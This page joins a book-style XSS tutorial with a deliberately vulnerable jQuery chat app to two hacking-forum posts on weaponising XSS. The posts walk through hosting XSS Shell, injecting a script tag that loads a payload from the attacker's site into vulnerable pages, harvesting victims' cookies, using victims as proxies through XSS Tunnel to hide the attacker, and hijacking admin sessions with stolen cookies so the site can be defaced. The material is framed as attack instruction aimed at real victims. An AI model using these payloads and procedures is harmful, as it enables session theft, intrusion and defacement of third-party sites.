<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<link rel="stylesheet"
href="http://www.gnucitizen.org/styles/screen.css" type="text/css"/>
<link rel="stylesheet"
href="http://www.gnucitizen.org/styles/content.css" type="text/css"/>
<script src="http://jquery.com/src/jquery-latest.pack.js"
type="text/javascript"></script>
<title>Awesome</title>
</head>
<body>
<div id="header">
<h1>Awesome</h1>
<p>awesome ajax application</p>
</div>
<div id="content">
<div>
<p>Please, enter your nick and press
<strong>chat</strong>!</p>
<input name="name" type="text" size="50"/><br/><input
name="chat" value="Chat" type="button"/>
</div>
</div>
<script>
$('[@name="chat"]').click(function () {
var name = $('[@name="name"]').val();
$('#content > div').fadeOut(null, function () {
$(this).html('<p>Welcome ' + name + '! You can
type your message into the form below.</p><textarea class="pane">' + name + ' &gt;
</textarea>');
$(this).fadeIn();

});
});
</script>
<div id="footer">
<p>Awesome AJAX Application</p>
</div>
</body>
</html>

Next, open the file in your browser (requires JavaScript to be enabled).The application looks like that shown in Figure 1.3

Fig 1.3	Fig 1.4

Once the page is loaded, enter your name and press the Chat button.This example is limited in that you cannot communicate with other users.We deliberately simplified the application so that we can concentrate on the actual vulnerability rather than the application design. Figure 1.4 shows the AJAX application in action.
Notice that this AJAX application does not need a server to perform the desired functions. Remember, you are running it straight from your desktop. Everything is handled by your browser via JavaScript and jQuery.
** jQuery is a useful AJAX library created by John Resig. jQuery significantly simplifies AJAX development, and makes it easy for developers to code in a cross-browser manner.**
If you carefully examine the structure and logic of the JavaScript code, you will see that the “Awesome AJAX application” is vulnerable to XSS.The part responsible for this input sanitization failure is as follows:

$(this).html('<p>Welcome ' + name + '! You can type your message into the form
below.</p><textarea class="pane">' + name + ' &gt; </textarea>');

As seen, the application composes a HTML string via JQuery’s HTML function.The html function modifies the content of the selected element.This string includes the data from the nickname input field. In our case, the input’s value is “Bob.” However, because the application fails to sanitize the name, we can virtually input any other type of HTML, even script elements, as shown on Figure 1.5

Fig 1.5	Fig 1.6

If you press the Chat button, you will inject the malicious payload into the DOM.This payload composes a string that looks like the following:

<p>Welcome <script>alert('xss')</script>! You can type your message 
into the form below.</p><textarea class="pane"><script>alert('xss')
</script> &gt; </textarea>

This is known as non-persistent DOM-based XSS. Figure 1.6 shows the output of the exploit.

XSS Attack-PART 5

Posted By Maher Bro

 TAKING COMMON XSS VULNERABILITIES TO THE NEXT LEVEL

Hey awl 2oday I will tell  you two neat tools which can be used to leverage common XSS vulnerabilities and allow you to take them to the next level. There are a lot of admins and general techies who don't think XSS vulnerabilities are anything to be concerned about. What can a simple alert box do? Hopefully after today you will look at your code a little harder and have a little more respect for all those pesky XSS finds. This is based on my recent experience in setting these up and seeing the results in real time which lead me to feel the need to share this. Here we go

Things you need

XSS Shell & XSS Tunnel, both available here in single download

Path Disclosure Script, available here

Create an account at any of your favorite ASP hosting sites, usually a free one will do. Now create and upload a index file to have something for quick checks to see if anything is there (and to throw off suspicion) so your site seems legit. Now we will upload the Path Disclosure Script you downloaded above (path.asp) and then navigate in our browser to it in order to find out what our default install path is so we can setup our db.asp file for connections to our MS-ACCESS database file.

Write down what you see on the screen, remove file, and then go and edit the db.asp for XSS Shell for the following line of code, change path to what you found above:

'// DATABASE CONFIGURATION

Const DBPATH = "X:\path\to\site\install”

 Once that is done, create a zip file for all of the content in our XSS Shell folder and name it SSX.zip. Then use your control panel features to unzip the content to speed up XSS Shell site build-out (otherwise it takes forever to upload one by one). 

Remove the .zip file and the path finder script to clean things up, so it should look something like this once done:

NOTE: on my host in this test run the “DB” folder was changed to “Db” and the “admin” folder was changed to “Admin”, so you may need to alter your scripts after uploading, just play with it a bit until it works for you. Also note you might need to alter scripts to align as well since your URL path may be case sensitive to match what control panel reflects, like in my case.

Now that you have everything uploaded it is time to navigate to the admin panel, you should be able to find it easily at:

http://www.yoursite.com/xssfolderifany/Admin/

 

You will login with whatever password you set originally in the xssshell.asp file. Once you login you are greeted with the XSS Shell admin panel.

OK, so things work now to get some victims… If you want to test it out real quick you can upload the Sample_Victim folder that comes with XSS Shell download. Just edit the code in the middle of page (comments point it out) and change to point to your new XSS Shell setup. Once completed, open up another browser and navigate to the /Sample_Victim/Default.asp page to activate. Alternatively you can get straight to work by injecting a form of this script into XSS vulnerable site and then getting victims to visit:

"><script src="http://yoursite.com/xssshellifany/xssshell.asp"></script>

When you get victims they will appear in the XSS Shell Admin Panel, like so:

 

From here you can grab victim cookies, send alert boxes to all victims as once, use victim browsers for DDoS, etc. If you are good with JavaScript you can do whatever your skills are limited to as you can add in your own custom commands and payloads rather easily under the eval(js) module section. If you want to know more about XSS Shell then please refer to the developers site as I will now be jumping onward into how we can utilize the XSS Shell with XSS tunnel to create a Zombie bot for further attacking, exploiting, whatever….

XSS Shell homepage can be found here, and download includes both XSS Shell and XSS Tunnel:  http://labs.portcullis.co.uk/application/xssshell/

OK, now that we have XSS Shell successfully setup we can extend its usefulness even further through the help of another tool called XSS Tunnel. This is a binary program made strictly for Windows. You simply need to download and open and configure to use our XSS Shell to then route all traffic we want using our XSS Shell victims as proxies. This can allow us to bypass IP restrictions should we grab an admin victim, which can then lead to further privilege escalations from the site admin panel. It also means we can turn our victims into Zombies and configure our favorite injection scanners, browsers, etc to use the Zombie victim as a proxy, meaning all logs on any servers we attack while connected will reflect our Zombies information and not ours adding yet another layer of stealth to our future exploitations.

Here is quick run through of the XSS Tunnel configuration. Double click file to run and you’re greeted with this:

We will need to click on the “OPTIONS” tab to enter our details for connecting to XSS Shell. Simply enter in the URL path to your XSS Shell Admin panel, and then enter the password you created for XSS Shell Admin Panel (xssshell.asp file stores the password if you already forgot).

You can hit the “TEST SERVER” button once you entered the correct details to check and confirm it is properly communicating with our XSS Shell. Upon success you will see message like so:

Now once you get victims in your XSS Shell you can use them as proxies for your favorite tools and/or to bypass site restrictions for further exploitation on the site where the original XSS flaw may have been found. In order to does this choose the interface or adapter you want to listen on and then choose the desired port to listen on and use for proxy functions. If you have something running on 8080 already then just changes it to meet your need. Transparency setting is purely for the XSS Tunnel GUI and nothing related to proxy function. Once you have it how you want you can click on the “START XSS TUNNEL” button near the top section, once you then enable the proxy function with your tools you will begin to see the requests flow through the main tab (if you care to watch or review).

This method can take a common non-persistent or persistent XSS vulnerability and turn it into a full site takeover proving that XSS is not something to be simply overlooked.

XSS Attack-PART 4

Posted By Maher Bro

Session Hijacking

 

 

 

• Ok now we have got the admin's cookies using both methods, so we need to edit our own browser's cookies. 
•  
• First of all go to that site's admin login or its main page whose cookies you have.
•  
• Now delete ALL of your cookies from that page.For this check the topic on cookies. 
•  
• Now go in your cookies.html page which you have made on a free hosting site and copy everything in front of the Cookie: in a notepad.These are the cookies. 
•  
• This sign ; separates cookies from each other so first copy the code before the ;i.e the first cookie.
•  
• Now come back to that vulnerable site and instead of  link add the following code but don't hit enter:

Code:
Javascript:void(document.cookie="ADD YOUR COOKIE HERE")

• Add that cookie in between " " and now hit enter.
•  
• Do this with all of the cookies and refresh the page.
•  
• And hurrah!!! you are logged in as administrator.
•  
• So now go in your admin panel and upload your deface page,now you can do anything to that site.